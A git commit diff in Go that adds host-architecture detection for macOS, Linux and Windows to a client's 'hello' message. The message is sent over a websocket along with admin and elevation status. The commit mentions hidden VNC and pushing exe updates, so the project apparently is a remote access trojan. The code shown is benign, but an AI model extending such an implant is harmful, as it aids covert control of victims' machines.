fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.
This commit is contained in:
@@ -669,6 +669,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
||||
hello.IsAdmin = sysinfo.IsAdmin()
|
||||
hello.Elevation = sysinfo.Elevation()
|
||||
hello.Permissions = sysinfo.DarwinPermissions()
|
||||
hello.HostArch = sysinfo.HostArch()
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||
return fmt.Errorf("send hello: %w", err)
|
||||
|
||||
@@ -4,6 +4,7 @@ package sysinfo
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
@@ -43,3 +44,15 @@ func totalRAM() string {
|
||||
mb := float64(total) / (1024 * 1024)
|
||||
return fmt.Sprintf("%.0f MB", mb)
|
||||
}
|
||||
|
||||
func HostArch() string {
|
||||
if machine, err := unix.Sysctl("hw.machine"); err == nil {
|
||||
switch machine {
|
||||
case "x86_64":
|
||||
return "amd64"
|
||||
case "arm64":
|
||||
return "arm64"
|
||||
}
|
||||
}
|
||||
return runtime.GOARCH
|
||||
}
|
||||
|
||||
@@ -5,7 +5,9 @@ package sysinfo
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func collectPlatform() Info {
|
||||
@@ -97,3 +99,28 @@ func totalRAM() string {
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
func HostArch() string {
|
||||
var utsname syscall.Utsname
|
||||
if err := syscall.Uname(&utsname); err == nil {
|
||||
buf := make([]byte, 0, len(utsname.Machine))
|
||||
for _, c := range utsname.Machine {
|
||||
if c == 0 {
|
||||
break
|
||||
}
|
||||
buf = append(buf, byte(c))
|
||||
}
|
||||
machine := string(buf)
|
||||
switch machine {
|
||||
case "x86_64":
|
||||
return "amd64"
|
||||
case "aarch64":
|
||||
return "arm64"
|
||||
case "armv7l":
|
||||
return "armv7"
|
||||
case "i686", "i386":
|
||||
return "386"
|
||||
}
|
||||
}
|
||||
return runtime.GOARCH
|
||||
}
|
||||
|
||||
@@ -4,6 +4,8 @@ package sysinfo
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"unsafe"
|
||||
|
||||
@@ -112,3 +114,25 @@ func totalRAM() string {
|
||||
mb := float64(ms.TotalPhys) / (1024 * 1024)
|
||||
return fmt.Sprintf("%.0f MB", mb)
|
||||
}
|
||||
|
||||
func HostArch() string {
|
||||
if arch := os.Getenv("PROCESSOR_ARCHITEW6432"); arch != "" {
|
||||
switch strings.ToLower(arch) {
|
||||
case "amd64":
|
||||
return "amd64"
|
||||
case "arm64":
|
||||
return "arm64"
|
||||
}
|
||||
}
|
||||
if arch := os.Getenv("PROCESSOR_ARCHITECTURE"); arch != "" {
|
||||
switch strings.ToLower(arch) {
|
||||
case "amd64":
|
||||
return "amd64"
|
||||
case "arm64":
|
||||
return "arm64"
|
||||
case "x86":
|
||||
return "386"
|
||||
}
|
||||
}
|
||||
return runtime.GOARCH
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ type Hello struct {
|
||||
Host string `msgpack:"host"`
|
||||
OS string `msgpack:"os"`
|
||||
Arch string `msgpack:"arch"`
|
||||
HostArch string `msgpack:"hostArch,omitempty"`
|
||||
Version string `msgpack:"version"`
|
||||
User string `msgpack:"user"`
|
||||
Monitors int `msgpack:"monitors"`
|
||||
|
||||
Reference in New Issue
Block a user